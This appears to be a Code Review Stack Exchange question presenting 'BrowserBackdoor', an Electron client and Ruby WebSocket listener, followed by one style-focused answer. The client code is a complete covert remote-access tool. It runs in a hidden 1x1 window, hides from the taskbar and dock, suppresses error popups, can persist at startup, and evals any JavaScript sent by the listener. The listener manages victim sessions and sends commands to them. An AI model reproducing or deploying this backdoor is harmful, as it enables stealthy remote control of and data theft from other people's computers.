7
\$\begingroup\$

I have created an Electron Application with a JavaScript/NodeJS Backdoor and a Ruby command-line listener.

I created this program for remote administration of my home computer securely using a new technology (WebSockets) which I found very interesting.

The program has two parts:

  1. The Electron application written in JavaScript which includes a JavaScript backdoor using WebSockets.
  2. A Ruby command-line WebSocket listener with the ability to communicate and send commands to the Electron application.

I'd love any general suggestions or fixes!

Feel free to only look at the client or server based on if you only know JavaScript or Ruby.

You may ignore anything that contains TODO because this site is not about fixing non-functioning code.

The project is also available on Github.

To download all the code you can use:

git clone https://github.com/IMcPwn/browser-backdoor

client/main.js (the Electron application)

/*
 * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor
 * BrowserBackdoor is an electron application that uses a JavaScript backdoor (in index.html)
 * to connect to the listener (BrowserBackdoorServer).
 * For more information visit: http://imcpwn.com

 * MIT License

 * Copyright (c) 2016 Carleton Stuberg

 * Permission is hereby granted, free of charge, to any person obtaining a copy
 * of this software and associated documentation files (the "Software"), to deal
 * in the Software without restriction, including without limitation the rights
 * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
 * copies of the Software, and to permit persons to whom the Software is
 * furnished to do so, subject to the following conditions:

 * The above copyright notice and this permission notice shall be included in all
 * copies or substantial portions of the Software.

 * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
 * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
 * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
 * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
 * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
 * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
 * SOFTWARE.
 */

const electron = require('electron')
const AutoLaunch = require('auto-launch');
const app = electron.app;
const dialog = electron.dialog;
const globalShortcut = electron.globalShortcut;
const BrowserWindow = electron.BrowserWindow;
const Menu = electron.Menu;

// Keep a global reference of the window object so it doesn't get garbage collected.
let mainWindow;

// Passing true enables startup, false disables startup.
function manageStartup(enable) {
    let appLauncher = new AutoLaunch({
        // Change this to the name of the application or what
        // should appear in the startup menu.
        name: 'BB'
    });
    if (enable) {
        appLauncher.isEnabled().then(function(enabled){
            if(enabled) return;
            return appLauncher.enable();
        }).then(function(err){
            // TODO: Deal with error
        });
    } else {
        appLauncher.isEnabled().then(function(enabled){
            if(!enabled) return;
            return appLauncher.disable();
        }).then(function(err){
            // TODO: Deal with error
        }); 
    }
}

function createWindow() {
    // Change CommandOrControl+Alt+\ to the shortcut to manage the application.
    globalShortcut.register('CommandOrControl+Alt+\\', function () {
        let result = dialog.showMessageBox({
            type: 'info',
            title: 'Shortcut pressed',
            message: 'You pressed the keyboard shortcut. \nIf you do not know what you are doing press cancel.',
            buttons: ['Quit Application', 'Enable Startup', 'Disable Startup', 'Cancel']
        });

        if (result === 0) {
            mainWindow = null;
            app.exit(0);
        } else if (result === 1) {
            manageStartup(true);
        } else if (result === 2) {
            manageStartup(false);
        }
    });

    // Create a hidden browser window which loads the backdoor.
    mainWindow = new BrowserWindow({
        width: 1,
        height: 1,
        show: false,
        closable: false,
        transparent: true,
        resizable: false,
        skipTaskbar: true
    });

    mainWindow.loadURL(`file://${__dirname}/index.html`);

    // Hide application menu.
    Menu.setApplicationMenu(null);

    mainWindow.on('closed', function() {
        mainWindow = null;
    });
}

// Only allow one instance of the application at a time.
const shouldQuit = app.makeSingleInstance((commandLine, workingDirectory) => {
    if (mainWindow === null) {
        createWindow();
    }
});

if (shouldQuit) {
    mainWindow = null;
    app.exit(0);
}

// Hide application from tray if on OS X.
if (process.platform === 'darwin') {
    app.dock.hide();
}

// Catch uncaughtExceptions so no popups appear on errors.
process.on('uncaughtException', function ( err ) {
    // TODO: Restart application or print error message
    console.error('An uncaughtException was found, the program will end.');
    process.exit(1);
});

// Accept --startup as command line argument to enable on startup.
process.argv.forEach(function (val, index, array) {
  if (val === "--startup") {
    manageStartup(true);
  }
});

app.on('before-quit', function() {
    mainWindow = null;
});

app.on('will-quit', function() {
    globalShortcut.unregisterAll()
});

// This method will be called when Electron has finished
// initialization and is ready to create browser windows.
app.on('ready', createWindow)

// Re-open if all windows are closed.
app.on('window-all-closed', function() {
    createWindow();
});

app.on('activate', function() {
    // Create window if activated and it doesn't already exist.
    if (mainWindow === null) {
        createWindow();
    }
});

client/package.json (required for the Electron application)

{
  "name": "BrowserBackdoor",
  "version": "1.0.0",
  "description": "Electron application to connect to BrowserBackdoorServer",
  "main": "main.js",
  "scripts": {
    "start": "electron main.js"
  },
  "repository": {
    "type": "git",
    "url": "git+https://github.com/IMcPwn/browser-backdoor.git"
  },
  "author": "Carleton Stuberg",
  "license": "MIT",
  "bugs": {
    "url": "https://github.com/IMcPwn/browser-backdoor/issues"
  },
  "homepage": "https://github.com/IMcPwn/browser-backdoor",
  "devDependencies": {
    "electron-prebuilt": "^1.1.2",
    "auto-launch": "2.0.1"
  }
}

client/index.html (the JavaScript backdoor)

<!DOCTYPE html>
<html>
<head>
    <script>
    /*
     * Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
     * BrowserBackdoor - https://github.com/IMcPwn/browser-backdoor
     * See the file 'LICENSE' for copying permission
     */
    (function connect() {
        if ("WebSocket" in window)
        {
            // Change host and port to where you're hosting
            // the WebSocket server.
            // Also change ws:// to wss:// if secure is enabled on the
            // server.
            var ws = new WebSocket("ws://your-server-here:1234");
            ws.onmessage = function(evt)
            {
                if (ws.readyState === 1) {
                    // Send the result of eval'ing the remote message.
                    ws.send(eval(evt.data));
                }
            };
            ws.onclose = function()
            {
                // Reconnect after 5 seconds.
                setTimeout(connect, 5000);
            };
       }
    })();
    </script>
</head>
<body>
</body>
</html>

server/bb-server.rb (The listener)

#!/usr/bin/env ruby
# BrowserBackdoorServer - https://github.com/IMcPwn/browser-backdoor

# BrowserBackdoorServer is a WebSocket server that listens for connections 
# from BrowserBackdoor and creates an command-line interface for 
# executing commands on the remote system(s).
# For more information visit: http://imcpwn.com

# MIT License

# Copyright (c) 2016 Carleton Stuberg

# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:

# The above copyright notice and this permission notice shall be included in all
# copies or substantial portions of the Software.

# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.

require 'em-websocket'
require 'yaml'

# TODO: Make all the variables besides $wsList non global.
$wsList = Array.new
$selected = -1
COMMANDS = {
    "help" => "Help menu",
    "exit" => "Quit the application",
    "sessions" => "List active sessions",
    "use" => "Select active session",
    "info" => "Get session information (IP, User Agent)",
    "exec" => "Execute a command on a session",
    "get_cert" => "Get a free TLS certificate from LetsEncrypt",
    "load" => "Load a module (not implemented yet)"
}
WELCOME_MESSAGE = ""\
" ____                                  ____             _       _                  \n"\
"|  _ \                                |  _ \           | |     | |                 \n"\
"| |_) |_ __ _____      _____  ___ _ __| |_) | __ _  ___| | ____| | ___   ___  _ __ \n"\
"|  _ <| '__/ _ \ \ /\ / / __|/ _ \ '__|  _ < / _' |/ __| |/ / _' |/ _ \ / _ \| '__|\n"\
"| |_) | | | (_) \ V  V /\__ \  __/ |  | |_) | (_| | (__|   < (_| | (_) | (_) | |   \n"\
"|____/|_|  \___/ \_/\_/ |___/\___|_|  |____/ \__,_|\___|_|\_\__,_|\___/ \___/|_| by IMcPwn\n"\
"Visit http://imcpwn.com for more information.\n"

def main()
    begin
        configfile = YAML.load_file("config.yml")
        Thread.new{startEM(configfile['host'], configfile['port'], configfile['secure'], configfile['priv_key'], configfile['cert_chain'])}
    rescue => e
        puts 'Error loading configuration'
        puts e.message
        puts e.backtrace
        return
    end
    cmdLine()
end

def print_error(message)
    puts "[X] " + message
end

def print_notice(message)
    puts "[*] " + message
end

def infoCommand()
    # TODO: Improve method of getting IP address
    infoCommands = ["var xhttp = new XMLHttpRequest();xhttp.open(\"GET\", \"https://ipv4.icanhazip.com/\", false);xhttp.send();xhttp.responseText","navigator.appVersion;", "navigator.platform;", "navigator.language;"]
    infoCommands.each {|cmd|
        begin
            sendCommand(cmd, $wsList[$selected])
        rescue
             print_error("Error sending command. Selected session may no longer exist.")
             break
        end
    }
end

def sessionsCommand()
    if $wsList.length < 1
        puts "No sessions"
        return
    end
    puts "ID: Connection"
    $wsList.each_with_index {|val, index|
        puts index.to_s + " : " + val.to_s
    }
end

def execCommand(cmdIn)
    if cmdIn.length < 2
        loop do
            print "Enter the command to send. (exit when done)\nCMD-#{$selected}> "
            cmdSend = gets.split.join(' ')
            break if cmdSend == "exit"
            next if cmdSend == ""
            begin
                sendCommand(cmdSend, $wsList[$selected])
            rescue
                print_error("Error sending command. Selected session may no longer exist.")
            end
        end
    else
        # TODO: Support space
        begin
            sendCommand(cmdIn[1], $wsList[$selected])
        rescue
            print_error("Error sending command. Selected session may no longer exist.")
        end
    end
end

def useCommand(cmdIn)
    if cmdIn.length < 2
        print_error("Invalid usage. Try help for help.")
        return
    end
    selectIn = cmdIn[1].to_i
    if selectIn > $wsList.length - 1
        print_error("Session does not exist.")
        return
    end
    $selected = selectIn
    print_notice("Selected session is now " + $selected.to_s + ".")
end

def cmdLine()
    puts WELCOME_MESSAGE
    print "\nWebSocket listener is now running...\nEnter help for help."
    loop do
        print "\n> "
        cmdIn = gets.chomp.split()
        case cmdIn[0]
        when "help"
            COMMANDS.each do |key, array|
                print key
                print " --> "
                puts array
            end
        when "exit"
            break
        when "sessions"
            sessionsCommand()        
        when "use"
            useCommand(cmdIn)
        when "info"
            if validSession?($selected)
                infoCommand()
            else
                next
            end
        when "exec"
           if validSession?($selected)
               execCommand(cmdIn)
           else
               next
           end
       when "get_cert"
           if File.file?("getCert.sh")
               system("./getCert.sh")
           else
               print_error("getCert.sh does not exist")
           end
       else
           print_error("Invalid command. Try help for help.")
        end
    end
end

def validSession?(selected)
    if selected == -1
        print_error("No session selected. Try use SESSION_ID first.")
        return false
    elsif $wsList.length < $selected
        print_error("Session no longer exists.")
        return false
    end
    return true
end

def sendCommand(cmd, ws)
    ws.send(cmd)
end

def startEM(host, port, secure, priv_key, cert_chain)
    EM.run {
        EM::WebSocket.run({
            :host => host,
            :port => port,
            :secure => secure,
            :tls_options => {
                        :private_key_file => priv_key,
                        :cert_chain_file => cert_chain
        }
        }) do |ws|
            $wsList.push(ws)
            ws.onopen { |handshake|
                print_notice("WebSocket connection open: " + handshake.to_s)
            }
            ws.onclose {
                print_error("Connection closed")
                $wsList.delete(ws)
                # TODO: Fix this. Reset selected error so the wrong session is not used.
                $selected = -1
            }
            ws.onmessage { |msg|
                print_notice("Response received: " + msg)
            }
            ws.onerror { |e|
                print_error(e.message)
                $wsList.delete(ws)
                # Reset selected variable after error
                $selected = -1
            }
        end
    }
end

main()

server/config.yml (Configuration for the listener)

#
# Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
# BrowserBackdoorServer by IMcPwn.
# See the file 'LICENSE' for copying permission
#

host: "0.0.0.0"
port: 1234
# Requires valid private key and certificate.
secure: false
priv_key: "privkey.pem"
cert_chain: "cert.pem"

Gemfile (The listener's gems)

#
# Copyright (c) 2016 Carleton Stuberg - http://imcpwn.com
# BrowserBackdoorServer by IMcPwn.
# See the file 'LICENSE' for copying permission
#

source 'https://rubygems.org'

gem 'eventmachine'
gem 'em-websocket'
\$\endgroup\$
  • \$\begingroup\$ I didn't know that specific improvements weren't allowed. I removed that part. I am not being prejudice against other technologies. I have used both of them and explained why I wanted something different. Regardless I have improved my wording and removed the controversial piece. \$\endgroup\$ – Carleton Stuberg May 29 '16 at 19:41
  • 2
    \$\begingroup\$ There's specific improvements and there's asking for features to be implemented. The first is allowed, the second isn't. It's semantics really, but you cleaned up your question nicely. Please take a look at the help center and our relevant meta for more information. I hope you get some decent answers, your project definitely looks interesting. \$\endgroup\$ – Mast May 29 '16 at 19:53
  • \$\begingroup\$ You can use heredocs for WELCOME_MESSAGE. \$\endgroup\$ – gcampbell Jun 8 '16 at 18:21
1
\$\begingroup\$

Bearing in mind that this comes a couple years late and you (the OP) haven't logged in since 9/ 2016, it might not be seen for some time. Also, I don't really have much ruby experience so I will focus this review on the JavaScript code but the comment by @gcampbell about using heredocs sounds like a good suggestion for not having to manually include new line characters in the text.

Feedback

The code looks pretty succinct, though perhaps the error handling (e.g. for the Auto Launch promise fail handler) should be improved (i.e. more than empty functions). There appears to be a little bit of redundancy in the code (see suggestions below) but nothing excessive (e.g. copy-paste).

Suggestions

Simplify manageStartup()

The conditional blocks could be simplified, from:

if (enable) {
    appLauncher.isEnabled().then(function(enabled){
        if(enabled) return;
        return appLauncher.enable();
    }).then(function(err){
        // TODO: Deal with error
    });
} else {
    appLauncher.isEnabled().then(function(enabled){
        if(!enabled) return;
        return appLauncher.disable();
    }).then(function(err){
        // TODO: Deal with error
    }); 
}

Since both cases call appLauncher.isEnabled(), the check of enable can be moved into the promise callback. The real differences are when to return early and which method to call. For returning early, we could write out the logic like below:

if((enable && enabled) || (!enable && !enabled)) {

This can be simplified using the negated value of XOR:

if(!(enable ^ enabled)) {

Then to call the method, we could use another if-else block:

if(enable) {
    return appLauncher.enable();
}
return appLauncher.disable();

Or a ternary operator could be used to branch on the method name:

return appLauncher[enable?'enable':'disable']();

Don't loop through args to find one and continue

Perhaps it is a moot point due to the fact that there may likely not be more than a few arguments but the code to find --startup:

// Accept --startup as command line argument to enable on startup.
process.argv.forEach(function (val, index, array) {
  if (val === "--startup") {
    manageStartup(true);
  }
})

One could simply use Array.includes() to check for that argument:

if (process.argv.includes('--startup')) {
    manageStartup(true);
}

Extra function wrapper

There is an extra function wrapper used here:

// Re-open if all windows are closed.
app.on('window-all-closed', function() {
    createWindow();
});

This could be simplified by simply replacing the name of the function createWindow with the lambda/anonymous callback:

app.on('window-all-closed', createWindow); 

It appears that the callback subscribed to the window-all-closed event is passed no arguments but if there were any, those would be passed to createWindow() in that case.

\$\endgroup\$

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.